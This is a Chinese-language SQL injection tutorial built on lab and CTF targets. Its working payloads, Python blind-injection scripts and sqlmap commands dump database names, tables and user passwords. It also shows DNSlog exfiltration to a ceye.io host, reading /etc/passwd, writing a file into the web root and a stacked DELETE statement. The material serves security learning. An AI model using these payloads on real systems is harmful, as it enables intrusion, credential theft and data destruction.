一、SQL注入基础知识
不要急于进行SQL注入,请先看完这部分,很重要!,很重要!,很重要!
1.基本的SQL语句查询源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # LIMIT [偏移量],行数
通常情况下联合查询(union)时需要将前面的查询结果限定为空集,后面的查询结果才能显示出来。例如id值设为负数或0,因为带有LIMIT 0,1则只能显示一条数据
?id=-1 union select 1,2,3 ?id=0 union select 1,2,3 ?id=-1' union select 1,2,group_concat(username,password) from users
2.MySQL数据库几种注释
注释符 | 描述 |
# |
单行注释 URL编码 %23 ,在URL框直接使用中# 号必须用%23 来表示,#在URL框中有特定含义,代表锚点 |
--空格 |
单行注释 ,实际使用中--空格 用--+ 来表示。因为在URL框中,浏览器在发送请求的时候会把URL末尾的空格舍去,所以用--+ 代替--空格 |
/* */ |
块注释 |
/*! */ |
内联注释 |
3.数据库相关–Information_schema库
- information_schema,系统数据库,包含所有数据库相关信息。
- information_schema.schemata中schema_name列,字段为所有数据库名称。
- information_schema.tables中table_name列对应数据库所有表名
- information_schema.columns中,column_name列对应所有列名
4.连接字符串函数
concat(),concat_ws()与及group_concat()的用法
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据,知道这三个函数能一次性查出所有信息就行了。
6.MySQL常用的系统函数
version() #MySQL版本 user() #数据库用户名 database() #数据库名 @@basedir #数据库安装路径 @@datadir #数据库文件存放路径 @@version_compile_os #操作系统版本
7.MySQL函数
count(*):返回匹配指定条件的行数。 rand():返回0~1间的小数 floor():把小数向下取整 group by语句:把结果分组输出
二、盲注
SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
基础知识
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,
这个机器人知道的很多,但只会回答“是”或者“不是”,
因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”
通过这种机械的询问,最终获得你想要的数据。
手工盲注的步骤
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
盲注常用函数
函数 | 描述 |
left(字符串,截取长度) | 从左边截取指定长度的字符串 |
length(字符串) | 获取字符串的长度 |
ascii(字符串) | 将指定字符串进行ascii编码 |
substr(字符串,start,截取长度) | 截取字符串,可以指定起始位置和长度 |
mid(字符串,start,截取长度) | 截取字符串,可以指定起始位置和长度 |
count() | 计算总数,返回匹配条件的行数。 |
sleep(n) | 将程序挂起n秒 |
if(参数1,参数2,参数3) | 参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3 |
布尔盲注
布尔注入利用情景
- 页面上没有显示位,并且没有输出SQL语句执行错误信息
- 只能通过页面返回正常与不正常判断
手工实现布尔盲注
靶机:sqli-labs第5关
1 .查看页面变化,判断sql注入类别
?id=1 and 1=1 ?id=1 and 1=2 【字符型】
2.猜解数据库长度
使用length()判断数据库长度,二分法可提高效率
?id=1' and length(database())>5 --+ ?id=1' and length(database())<10 --+ ?id=1' and length(database())=8 --+ 【length=8】
3.猜当前数据库名
方法1:使用substr函数
?id=1' and substr(database(),1,1)>'r'--+ ?id=1' and substr(database(),1,1)<'t'--+ ?id=1' and substr(database(),1,1)='s'--+ ?id=1' and substr(database(),2,1)='e'--+ ... ?id=1' and substr(database(),8,1)='y'--+ 【security】
方法2:使用ascii函数和substr函数
?id=1' and ascii(substr(database(),1,1))>114 --+ ?id=1' and ascii(substr(database(),1,1))<116 --+ ?id=1' and ascii(substr(database(),1,1))=115 --+ 【security】
ASCill表
方法3:使用left函数
?id=1' and left(database(),1)>'r'--+ ?id=1' and left(database(),1)<'t'--+ ?id=1' and left(database(),1)='s' --+ ?id=1' and left(database(),2)='se' --+ ?id=1' and left(database(),3)='sec' --+ ... ?id=1' and left(database(),8)='security' --+ 【security】
方法4:使用Burpsuite的Intruder模块
将获取数据库第一个字符的请求包拦截并发送到Intruder模块
设置攻击变量以及攻击类型
设置第一个攻击变量,这个变量是控制第几个字符的
设置第二个攻击变量,这个变量是数据库名字符
开始攻击,一小会就能得到测试结果,通过对长度和变量进行排序可以看到数据库名成功得到
4.判断表的个数
count()函数是用来统计表中记录的一个函数,返回匹配条件的行数。
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+ ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ 【4个表】
5.判断表的长度
limit可以被用于强制select语句返回指定的条数。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 【第一个表长度为6】 ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+ 【第二个表长度为8】
6.猜解表名
方法1:使用substr函数
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+ ?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+ ?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+ ... ?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+ 【第一个表名为emails】
方法2:使用Burpsuite的Intruder模块
使用方法跟上方获得数据库名一样,就不赘述了
7.猜解字段名和字段信息
#确定字段个数 ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+ ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+ 【字段个数为3】 #确定字段名的长度 ?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+ ?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+ ?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+ 【第一个字段长度为2,第二个字段长度为8】 #猜字段名 同上使用burp ?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i' --+ 【...id,username,password...】 #确定字段数据长度 ?id=1' and length((select username from users limit 0,1))=4 --+ 【第一个字段数据长度为4】 #猜解字段数据 同上使用burp ?id=1' and substr((select username from users limit 0,1),1,1)='d' --+ ?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+ 【第一个username数据为dumb】
SqlMap实现布尔盲注
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 --technique:选择注入技术,B:Boolean-based-blind (布尔型盲注) --threads 10 :设置线程为10,运行速度会更快
#查询数据库 #【security】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security --tables --batch --threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10 #获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
脚本实现布尔盲注
1.获取数据库名长度
# coding:utf-8 import requests # 获取数据库名长度 def database_len(): for i in range(1, 10): url = '''http://139.224.112.182:8087/sqli1/Less-5/''' payload = '''?id=1' and length(database())=%d''' %i r = requests.get(url + payload + '%23') # %23 <==> --+ if 'You are in' in r.text: print('database_length:', i) break else: print(i) database_len() # 【database_length: 8】
2.获取数据库名
# coding:utf-8 import requests #获取数据库名 def database_name(): name = '' for j in range(1,9): for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_': url = "http://139.224.112.182:8087/sqli1/Less-5/" payload = "?id=1' and substr(database(),%d,1)='%s' --+" %(j, i) r = requests.get(url + payload) if 'You are in' in r.text: name = name + i print(name) break print('database_name:', name) database_name() # 【database_name: security】
3.获取数据库中表
# coding:utf-8 import requests # 获取数据库表 def tables_name(): name = '' for j in range(1, 30): for i in 'abcdefghijklmnopqrstuvwxyz,': url = "http://139.224.112.182:8087/sqli1/Less-5/" payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i) r = requests.get(url + payload) if 'You are in' in r.text: name = name + i print(name) break print('table_name:', name) tables_name() #【table_name: emails,referers,uagents,users】
4.获取表中字段
# coding:utf-8 import requests # 获取表中字段 def columns_name(): name = '' for j in range(1, 30): for i in 'abcdefghijklmnopqrstuvwxyz,': url = "http://139.224.112.182:8087/sqli1/Less-5/" payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i) r = requests.get(url + payload) if 'You are in' in r.text: name = name + i print(name) break print('column_name:', name) columns_name() #【column_name: id,username,password】
5.获取字段值
# coding:utf-8 import requests # 获取字段值 def value(): name = '' for j in range(1, 100): for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-': url = "http://139.224.112.182:8087/sqli1/Less-5/" payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i) r = requests.get(url + payload) if 'You are in' in r.text: name = name + i print(name) break print('value:', name) value()
时间盲注
时间注入利用情景
- 页面上没有显示位
- 没有输出报错语句
- 正确的sql语句和错误的sql语句页面返回一致
手工实现时间盲注
靶机:sqli-labs第9关
?id=1 ?id=1' ?id=1" #不管怎么样都不报错,不管对错一直显示一个固定的页面; #判断注入点 ?id=1' and sleep(3)--+ #页面响应延迟,判断存在时间延迟型注入 #获取数据库名长度 ?id=1' and if(length(database())=8,sleep(3),1)--+ #获取数据库名 ?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+
结合Burpsuite的Intruder模块爆破数据库名
将获取数据库第一个字符的请求包拦截并发送到Intruder模块
设置攻击变量以及攻击类型
设置第一个攻击变量,这个变量是控制第几个字符的
设置第二个攻击变量,这个变量是数据库名字符
开始攻击,一小会就能得到测试结果,通过对长度和变量进行排序可以看到数据库名成功得到
image-20200515211534056
获取表名、字段名、字段信息等数据方法同上,就不赘述了
SQLmap实现时间盲注
--batch: 用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。 --technique:选择注入技术,-T:Time-based blind (基于时间延迟注入) --threads 10 :设置线程为10,运行速度会更快。
#查询数据库 #【security】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10 #获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10
脚本实现时间盲注
1.获取数据库名长度
# coding:utf-8 import requests import datetime # 获取数据库名长度 def database_len(): for i in range(1, 10): url = '''http://139.224.112.182:8087/sqli1/Less-9/''' payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >= 3: print('database_len:', i) break else: print(i) database_len()
2.获取数据库名
# coding:utf-8 import requests import datetime #获取数据库名 def database_name(): name = '' for j in range(1, 9): for i in '0123456789abcdefghijklmnopqrstuvwxyz_': url = '''http://139.224.112.182:8087/sqli1/Less-9/''' payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i) time1 = datetime.datetime.now() r = requests.get(url + payload) time2 = datetime.datetime.now() sec = (time2 - time1).seconds if sec >= 1: name = name + i print(name) break print('database_name:', name) database_name()
获取表名、字段名、字段信息等数据的脚本类似上面布尔盲注脚本,就不赘述了
三、DNSlog盲注
基础知识
什么是DNS
DNS的全称是 Domain Name System(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6,使用户可以访问这台服务器上相应的服务。
什么是DNSlog
DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。
为什么用Dnslog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。
原理
Mysql攻击语句:
select load_file(concat('\\\\',攻击语句,'.XXX.ceye.io\\abc'))
利用DNSlog的前提条件:
- 1.支持load_file()函数,通过执行show variables like '%secure%';查看load_file()是否可以读取文件。
- 当secure_file_priv为空,就可以读取磁盘的目录。
- 当secure_file_priv为G:\,就可以读取G盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
- 通过设置my.ini来配置。secure_file_priv=””就是可以load_flie任意磁盘的文件。
- 2.DNSlog平台
- Window平台,Linux平台不支持。这个技术本质是利用 UNC 发起的 DNS 查询,因为 Linux 没有 UNC 路径,所以当处于 Linux 系统时,不能使用该方式获取数据,而且 UNC 的路径不能超过 128,否则会失败。当我们在使用 UNC 路径时,是会对域名进行 DNS 查询。
UNC路径:
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
\\192.168.1.132\test\
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个\就变成了2个\,后面的\\abc变成了\abc,目的就是利用UNC路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
原理图 | 原理图 |
如图所示,作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
详细解释:
1、攻击者提交注入语句select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
2、Web服务器将语句传递给数据库,在数据库中攻击语句被执行
3、concat函数将执行结果与XXX.ceye.io\\abc拼接,构成\\root.XXX.ceye.io\abc,而 mysql 中的 select load_file()可以发起 DNS 请求
4、那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析;
5、此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的DNSlog平台,在上面我们可以获取到有关ceye.io的DNS查询信息。
6、当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
实例
DVWA-SQL盲注
查询数据库
1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\sql_test'))),1,0)#
查询表
1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\sql_test'))),1,0)#
查询列
1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 4,1),'.xxxx.ceye.io\\sql_test'))),1,0)#
查询值
1' and if((select load_file(concat('\\\\',(select password from users limit 0,1),'.xxxx.ceye.io\\sql_test'))),1,0)#
参考:
四、宽字节注入
原理
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字【前一个ascii码要大于128,才到汉字的范围】
在PHP配置文件中magic_quotes_gpc=On或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号',就会被自动转义\',这样就使得多数注入攻击无效。
当输入单引号,假设这里我们使用addslashes转义,对应的url编码是:
' –>\'–> %5c%27
当在前面引入一个ASCII大于128的字符【比如%df、%aa】,url编码变为:
%df' –> %df\' –> (%df%5C)%27–>(数据库GBK)–>運'
%5c%27 | %df%5C%27 |
前端输入**%df'时首先经过上面addslashes函数和浏览器url编码转义变成了%df%5c%27**
因为数据库使用GBK编码的话,**%df%5c会被当作一个汉字处理,转换成了汉字”運”**,从而使%27(单引号)逃出生天,成功绕过,利用这个特性从而可实施SQL注入的利用。
实例
题目来源:CG-CTF—GBK Injection
手工注入
题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
?id=1 ''' your sql:select id,title from news where id = '1' here is the information '''
输入1'可以看到'被变成了\',应该是addslashes之类的函数转义的结果。
?id=1' ''' your sql:select id,title from news where id = '1\'' here is the information '''
用上文宽字节构造方法,构造id=1%df’或者id=1%aa’,成功报错
?id=1%df' 或者【只要ASCII大于128的字符就可以】 ?id=1%aa' ''' your sql:select id,title from news where id = '1ß\'' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10 '''
确定字段数
?id=1%aa' order by 1 --+ 正常 ?id=1%aa' order by 2 --+ 正常 ?id=1%aa' order by 3 --+ 报错 ''' 所以字段数为2 '''
确定显示位
前面必须为-1【前面查出来的值为null,才能显示后面我们想要的信息】,后面的信息才能显示出来
?id=-1%aa' union select 1,2 --+ ''' your sql:select id,title from news where id = '-1歿'union select 1,2 -- ' 2 '''
确定了回显的位置是2
查询信息
#查询数据库 ?id=-1%aa' union select 1,database() --+ ''' sae-chinalover ''' #查询表名 ?id=-1%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ''' ctf,ctf2,ctf3,ctf4,news ''' #查询字段名 ?id=-1%aa' union select 1, group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+ '''这里表名table_name的值必须转换成16进制,如果不用16进制就得用引号包裹,当有addlashes函数就会转义引号,就会导致查询失败,使用16进制避免了这个问题。 id,flag ''' #查询字段信息 ?id=-1%aa' union select 1,group_concat(id,0x3a,flag) from ctf4 --+ ''' 1:flag{this_is_sqli_flag} ''' ?id=-1%aa' union select 1,group_concat(content) from ctf2 --+ ''' h4cked_By_w00dPeck3r,h4cked_By_w00dPeck3r,h4cked_By_w00dPeck3r,h4cked_By_w00dPeck3r,the flag is:nctf{query_in_mysql},h4cked_By_w00dPeck3r '''
有2个flag,成功得到flag
使用sqlmap
方法一:普通方法,根据提示选择选项
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" --dbs sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" -D sae-chinalover --tables sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" -D sae-chinalover -T --columns sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df'" -D sae-chinalover -T ctf4 -C flag --dump
方法二:使用脚本:unmagicquotes.py【作用:宽字符绕过】
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --tamper unmagicquotes --dbs ''' available databases [2]: [*] information_schema [*] sae-chinalover ''' sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1" --tamper unmagicquotes -D sae-chinalover --tables ''' Database: sae-chinalover [6 tables] +---------+ | ctf | | ctf2 | | ctf3 | | ctf4 | | gbksqli | | news | +---------+ ''' sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D sae-chinalover -T ctf4 --columns ''' Database: sae-chinalover Table: ctf4 [2 columns] +--------+--------------+ | Column | Type | +--------+--------------+ | flag | varchar(100) | | id | int(10) | +--------+--------------+ ''' sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D sae-chinalover -T ctf4 -C flag --dump ''' Database: sae-chinalover Table: ctf4 [1 entry] +-------------------------+ | flag | +-------------------------+ | flag{this_is_sqli_flag} | +-------------------------+ '''
方法三:直接查询flag字段
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df%27" --search -C flag --level 3 --risk 1 --thread 10 ''' --threads 10 //如果你玩过 msfconsole的话会对这个很熟悉 sqlmap线程最高设置为10 --level 3 //sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5 --risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全 --search //后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D) 如果你脑子够聪明,应该知道库列表名中可能会有ctf,flag等字样 '''
五、报错注入
floor报错注入/双查询注入
双查询报错/floor报错注入是由于rand(),count(),group by ,floor四个语句联合使用造成的,缺一不可。
一些研究人员发现,使用group by子句结合rand()函数以及像count(*)这样的聚合函数,在SQL查询时会出现错误,这种错误是随机产生的,这就产生了双重查询/floor报错注入。使用floor()函数只是为了将查询结果分类
需用到四个函数和一个group by语句:
- group by ... —>分组语句 //将查询的结果分类汇总
- rand() —>随机数生成函数
- floor() —>取整函数 //用来对生成的随机数取整
- concat()、 concat_ws()—>连接字符串
- count() —>统计函数 //结合group by语句统计分组后的数据
还需要了解哈子查询:
子查询又称为内部查询,子查询允许把一个查询嵌套在另一个查询当中,简单的来说就是一个select中又嵌套了一个select,嵌套的这个select语句就是一个子查询。
select concat("-",(select database()));
双查询/floor报错注入公式:
#获取数据库名 ?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2))as a from information_schema.tables group by a--+ 或者 ?id=1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+ #获取表名 ?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2))as a from information_schema.tables group by a--+ 或者 ?id=1'and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a) --+
使用如上SQL语句,发现多查询几次会爆出Duplicate entry的错误,并且将我们需要的信息都爆出来了。
实例:
SQLi-LABS第五关:https://jwt1399.top/posts/30333.html#toc-heading-5
双注入详细原理请参考:
updatexml报错注入
updatexml(xml_target, XPath_string, new_value):返回替换的XML片段
参数 | 描述 |
XML_document | String格式,需要操作的xml片段 |
XPath_string | 需要更新的xml路径(Xpath格式) |
new_value | String格式,更新后的内容 |
Payload:
updatexml(1,concat(0x7e,(select database()),0x7e),1);
如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出数据库
0x7e为hex码,实为~,为了使Xpath格式语法书写错误
extractvalue报错注入
extractvalue(xml_frag, xpath_expr):使用XPath表示法从XML字符串中提取值
参数 | 描述 |
xml_frag | 目标xml文档 |
xpath_expr | Xpath格式的字符串,xml路径 |
Payload:
extractvalue(1,concat(0x7e,(select database()),0x7e));
如果Xpath格式语法书写错误的话,就会报错。利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
六、二次注入
待更。。。
七、堆叠注入
原理
在SQL中,分号(;)是用来表示一条SQL语句的结束。试想一下我们在分号(;)结束后一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
八、HTTP header注入
HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的场景。
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等。
会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。
Cookie 注入
原理
Cookie注入的原理:
php中,使用超全局变量 $_GET,$_POST来接受参数。 asp中,使用 Request.QueryString (GET)或 Request.Form (POST)来接收页面提交的参数值。 有些程序员直接这么写:$id = $_REQUEST['id'];这时候PHP不知道,应该从GET还是POST方式上接收参数 ,它就会一个一个去试,它是先取GET中的数据,再取POST中的数据,还会去取Cookies中的数据,如果没有做好防护措施就容易导致存在cookie注入。
Cookie注入特征:通过修改Cookie的值进行注入,Cookie注入跟普通sql注入过程一样
Cookie注入方法:
方法一:BurpSuite抓包修改Cookie进行注入
方法二:使用SqlMap进行注入
python sqlmap.py -u "http://xxx.com" --cookie "id=x" --dbs --level 2
实例
题目来源:CTFHub-Web技能树-Cookie注入
题目已经很明显提示是cookie注入,打开Burpsuite抓包
抓包之后可以看到cookie里面有id参数,我们尝试进行注入,果然可以成功注入
后续就是修改Cookie进行普通的数字型注入就可以了
#确定字段数【字段数为2】 Cookie: id=1 order by 1 Cookie: id=1 order by 2 Cookie: id=1 order by 3 #确定字段顺序 Cookie: id=-1 union select 1,2 #爆数据库名【sqli】 Cookie: id=-1 union select 1,database() #爆表名【news,ztikrnhkas】 Cookie: id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #爆列名【rcdrtihzyr】 Cookie: id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='ztikrnhkas' #爆值 Cookie: id=-1 union select 1,rcdrtihzyr from ztikrnhkas
XFF注入
待更。。。
UA注入
待更。。。
九、读写文件
读取文件函数
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用前提:
- 必须有权限读取并且文件必须完全可读
- 必须指定文件完整路径
- 能够使用union查询(sql注入时)
- 对Web目录有写权限用户必须有secure_file_priv=文件权限
- 欲读取文件必须小于max_allowed_packetde的允许值
secure_file_priv的值
设置 | 含义 |
secure_file_prive=null | 限制mysql不允许导入/导出 |
secure_file_priv=/tmp/ | 限制mysql的导入/导出只能发生在/tmp/目录下 |
secure_file_priv=空 | 不限制mysql的导入/导出 |
mysql下执行show global variables like '%secure%';可以查看secure_file_priv的值
写文件函数
into outfile
实例
靶机:sqli-labs第7关
#查看页面变化,判断sql注入类别 ?id=1 and 1=1 ?id=1 and 1=2 #You are in.... Use outfile...... #确定字段数 ?id=1' order by 3 --+ ?id=1')) order by 4 --+ #联合查询查看显示位 ?id=-1 union select 1,2,3 ?id=-1')) union select 1,load_file('/etc/passwd'),3 --+ ?id=-1')) union select 1,(''),3 into outfile "/var/www/html/a.php"--+
sqlmap读取文件
–file-read用法用于读取本地文件
python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd
十、SQL注入靶场
以下链接均为我其他文章的SQL注入靶场的学习记录
SQLi-LABS
SQLi-LABS学习笔记:https://jwt1399.top/posts/30333.html
DVWA-SQL
Web基础漏洞-DVWA(SQL注入部分):https://jwt1399.top/posts/27769.html#toc-heading-16
Pikachu-SQL
Pikachu漏洞平台通关记录(SQL注入部分):http://127.0.0.1:4000/posts/30313.html#toc-heading-13